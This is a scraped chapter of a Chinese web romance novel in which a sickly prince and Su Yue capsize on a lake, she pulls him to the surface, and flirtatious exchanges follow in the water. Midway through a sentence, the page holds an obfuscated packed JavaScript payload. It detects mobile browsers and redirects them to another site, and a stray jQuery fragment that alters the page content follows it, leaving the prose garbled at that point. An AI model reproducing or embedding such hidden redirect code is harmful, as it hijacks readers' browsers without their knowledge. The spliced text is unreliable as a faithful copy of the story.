10.狂言
作品:《病弱夫君又行了》 船单边吃重,完全扣翻,宁玠和苏悦同时被冲力重重砸进水里。
宁玠来不及挣扎,冰冷的湖水瞬间涌进鼻腔、耳道。
沉重的身体没有一丝浮力。
宁玠本能想划动手脚,但身体麻痹僵硬,竟无法动弹,只能由着苏悦紧搂他的脖颈,一起往深水沉入。
但没过多久,回过神来的苏悦就毫不留情蹬开他,奋力往水面浮去。
他被反推后在水底侧转过身体,面朝水面继续下沉。
宁玠没有费劲去抓逃开的苏悦。
只是看着头顶的水面被打碎的光扭曲变幻。
越来越远,遥不可及。
十七岁时,他身体经过调理竟恢复了许多,他跟随祖父到过边境。
边漠有水潭,没有战事的夏日他就和将士们扎在水潭里,可以游一整个下午。
没成想,那会成为他此生最后畅快自由的时光。
现在的他别说游一个下午,就连自救的能力都……
其实每一日每一刻每一瞬,他比任何人都清楚,自己正在慢慢腐烂。
哪怕他比旁人更加用心饮食、加强锻炼,也无法阻止身体走向衰败。
昔年能拉开的强弓放入高阁,往日驰骋的骏马只能圈于厩院……
他失去的越来越多,也越来越不明白自己为什么还活着?
这世上原本也没有几人希望他还活着。
苏悦的衣裙在水底散开,好像游鱼肆意摇晃美丽的尾翼,如梦如幻,渐渐远去。
水面剧烈震荡,有人浮出水面。
宁玠仍睁着眼睛。
果然遇到了很坏的事情。
妖女的话应验了。
宁玠往袖袋里摸了下,里面有个瓷瓶,装着一粒药。
上次遇刺时身体骤然不能动弹,让他险些功亏一篑,不得不随身带上药。
只是这药珍贵稀少,他手上也只剩下这一粒,原本打算用在更重要的时候,不想,居然要浪费在今日这场突发意外上。
就在他控制僵硬的手准备拿出药瓶,忽而上方的水面又变得激荡,那些光斑迅速变化,像是打碎的琉璃,光线从不同方向投入幽黑的深水。
一道黑影逆着光越来越近,近到宁玠看清了所有。
女郎茂密的发丝如水藻散开,衣袖裙摆飘扬,再加上自她身后投下来的柔光。
宛若是九天的玄女从天而降。
宁玠不禁停.下动作,看着苏悦靠近。
潜下来的苏悦小脸紧绷,眉头紧蹙,瞧了他一眼后就从他的身前绕到身后,两只手大胆扒掉他沉重的披袍,然后手臂从他腋下穿过,交叉在他胸前,从身后抱住他。
宁玠完全僵住了,明明只是两条柔软的手臂,却变得像是荆棘一般,长满坚硬利刺,深深扎进他的身体,疼痛、炽热、黏腻……
无法动弹的他挣不开束缚,只能任由苏悦把他沉重的身体带着上浮。
无数的水泡从宁玠眼前缓缓经过,时间好像有一辈子那般漫长,头顶的光逐渐强烈。
他仿佛又看见了那个晨曦。
光线驱散了黑雾,却照亮了堆砌的尸山、断裂的旗杆、枪矛、残垣断壁……
远处黑影幢幢,如颠簸在簸箕里的黑豆,上下跳动。
——“阿娘,阿耶来救我们了!”
回应他的只有死一般的沉寂。
还有死死禁锢他身躯的双臂,一如眼下……
没有沉溺过往太久,宁玠回过神来。
肺腑中的空气即将殆尽,他一向好使的脑袋也有些转不动。
苏悦不是不愿和自己扯上关系吗?
为什么还要来救他。
还是因为太笨了?不知道带上他,对于她而言太难。
好几次他都清楚感受他们有往下沉的趋势。
宁玠想剥开苏悦的手指,但那小女郎反而把身体更加贴近他,手臂牢牢扣住他,仿佛要与他同生共死。
宁玠没再乱动。
重新蓄了一大股力的苏悦又划动起双腿,在两人耗尽最后一口气前,他们终于一同撞进那道白光当中,破水而出。
“呼呼——”
剧烈的喘息声在他耳后,暖.潮的气息拂动。
宁玠也张开口,大口呼吸。
久违的空气争先恐后挤进气管,嗓子眼、胸腔里都刺痛不已。
休息片刻后,苏悦才游到宁玠身前,她湿淋淋的小脸上苍白无色,嘴唇也冻得发青。
这还在初春,湖水并不温暖,小女郎身子本就单薄,受不住这股寒冷。
“你不会游泳吗?”苏悦齿关颤抖,一半是冷的,另一半是气的,“不会游泳你单独乘船?”
她刚刚好不容易游出水面,转头一看宁玠没浮出来,把她吓得要死。
虽然力气都快用尽,但宁玠是被她连累才掉进水里的,她不能见死不救,只好再憋足一口气潜下水,把他提出来。
这一来一回,她的小命真去了一半。
“我……”宁玠难得语塞。
人人都知道他身弱,他在水里浮不起来不是理所应当的事么?
苏悦一边生闷气,一边把船桨塞到他手臂下。
小船已经被水冲走,只留下船桨卡在一丛茂盛水草中,这才被她顺手捡了回来。
宁玠不会游泳,待会要再沉下去,她可捞不上来……
做完这些,苏悦头一阵晕眩,眼前发黑。
一早上没进食,凫水对她体力消耗大,在这关键的时候彻底没力了,软软往后一倒。
宁玠没多想,伸手把她抓住,苏悦被突然失重的感觉吓了一跳,人不自觉清醒了些,自救的本能让她猛地揪住眼前的宁玠。
宁玠当即重重闷声了声,随即咬牙道:“松手。”
苏悦手指掐到了一硬中带软的异物。
不是扣子装饰,难道是小王爷的肉……
“对不住啊……” 说着,她还好奇想再摸摸看,但被宁玠眼神牢牢盯住。
他没力气也没有手去制止她,只咬着后牙槽问:“你想做什么?”
“我……我就是怕沉下去,你知道我没力了……”苏悦羞涩地解释,同时还向他靠近。
不多会,小女郎两手软软攀在他的肩上,刚刚死里逃生,这会正大口呼吸。
偏偏她往外吐气的时候,胸腔腹腔都往外鼓,两团软肉还往他胸膛上蹭。
宁玠不用垂眼,余光也能将那挤压变形的轮廓收入眼底。
苏悦为了方便凫水,早把累赘的外衣丢下,眼下她身上的衣衫单薄,浸了水后都能透出肉色。
当然他自己也好不到哪里去,苏悦把他的也扒了。
这就相当他们只隔着几层透薄的衣料,上身紧密相贴,互相的呼吸,胸腔的起伏,挨挨撞撞,不成体统!
“我们现在怎么办啊?”苏悦似是没留意到这点,生死关头她只想知道如何找到出路以及不要淹死在这。
“我的侍卫就在岸边。”宁玠尽量让自己不去注意身上的女郎,忽略她因呼吸起伏的身体,因说话震颤的胸腔,但是她的香味却挡也挡不住往他鼻子钻。
若是衣服上的熏香,在水里过一遭早就不复存在了。
更何况她从头到脚被水反复浸洗过。
但那香味非但没有消失,反而随着一阵阵风扑在他唇上,沾在他的舌尖。
宁玠不由分神,想起云渐的话。
……香香。
苏悦的身上真有股香甜的味,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442570|184920||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不是花香,倒像是果子成熟后馥郁的甜香。
宁玠因病味觉有缺,唯独还能尝出一点甜味,所以平时多爱吃甜食。
“那我们要怎么……”话说到一半,苏悦看出宁玠的眸色古怪,像是打量什么无辜待宰的羔羊。
苏悦小心翼翼,“你怎么了?”
宁玠脸色又青又白,眉心那点红却艳得滴血,他闭上眼睛,仿佛虚弱至极,但唇瓣还是努力张开,吐出四个字来:“你腰很细。”
苏悦懵了下,后知后觉自己后腰上有一只手贴着,长指张开足以横握她整个腰肢。
好大的手。
镇国王府的主人是军武出身,宁老王爷就是大唐一等一的悍将,宁玠的父亲亦是如此。
宁玠也传到祖父、父亲异于常人的高大身躯,只是他时常生病、药罐子养着,倒让人忽略了去。
苏悦也是这般想的。
从前只一味觉得宁小王爷是个病秧子,却没想到病秧子也有宽阔的胸膛和修.长的手。
眼下湿衣浑似不存在,宁玠的大手仿佛直接贴在她的后腰上。
原本不觉得奇怪,现在注意到了就挠心挠肺,满身发痒。
苏悦忍不住挣了挣,却险些害自己沉了下水,还是宁玠及时把她捞回来。
因这小小的意外,宁玠的指腹还在苏悦的后腰摩挲。
苏悦身子不由颤了颤。
这是怎么回事?
苏悦脸都烫了,从皮肤下烧起来的火一直热到耳朵尖。
这种生死存亡之际,本不该斤斤计较什么男女之防,应该互帮互助,共度难关才是。
都怪宁玠说的那四个字,把她弄得口干舌燥,心底发毛。
他不会真的对自己有什么想法吧?
苏悦胡思乱想了一通,苦于没有处理调.情的经验,只能先糊弄过去,她装聋道:“啊,刚刚风大,小王爷说什么,我没听到。”
她并不知宁小王爷此刻已经怀着破罐子破摔的心态。所以她一扯谎,宁玠就扯了唇角冷笑。
本来他一个人在湖中央好好歇着什么事也不会发生,是苏悦把他变得如此狼狈。
如今被迫听他“狂言浪语”,只能算她自作自受。
他寒着声,像被人架着一柄刀逼着道:“你也可以摸摸我的。”
苏悦大惊失色,连话都说不出口,只发出了一个表示震撼的“啊?——”
宁玠微眯起眼。
她不是喜欢胆大放肆的郎君吗?
这会又慌什么?
但不得不承认,苏悦的慌乱让宁玠心里好受很多。
总不会是他一人的兵荒马乱。
他掀动唇瓣,继续说完妖女要求的话。
“喜欢吗?为你练的。”
苏悦倒抽一口凉气,骇到无以言表。
如果现在给她一面镜子,她自个都会抚镜感慨,这是遇到鬼了吗?
如此快就图穷匕见了!
宁玠难道对她觊觎良久了,是什么时候开始?
会是去年观音庙的事吗?
孤男寡女共处一室她又不省人事,还不知道这个假君子真色鬼对她做了什么!
不过……他应该也是有心无力吧。
毕竟他掉水里都要靠她来救呢。
苏悦脸色变了又变。
又羞又怕又遗憾,最后又通通变成愧疚。
可惜注定是落花有意流水无情啦,她虽然偶尔也会被宁玠这张脸迷惑住,但是中看不中用的东西就是昙花一现、镜花水月啊。
女郎颤着眼睫,小脸苍白:
“小王爷休要胡言,我不是这样的人……”
苏悦是个很实在的人。
她依言把手滑到宁玠的腹上。